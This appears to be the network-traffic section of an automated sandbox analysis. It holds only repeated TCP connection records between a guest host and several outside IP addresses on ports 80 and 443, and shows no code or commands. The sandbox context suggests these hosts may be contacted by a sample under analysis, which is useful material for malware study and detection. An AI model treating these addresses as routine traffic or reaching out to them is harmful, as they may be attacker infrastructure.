Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 109.206.241.81:80 -> 192.168.2.22:49174
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 109.206.241.81:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49175
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 149.154.167.220:443 -> 192.168.2.22:49176
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 162.159.133.233:443
Source: global traffic	TCP traffic: 162.159.133.233:443 -> 192.168.2.22:49177
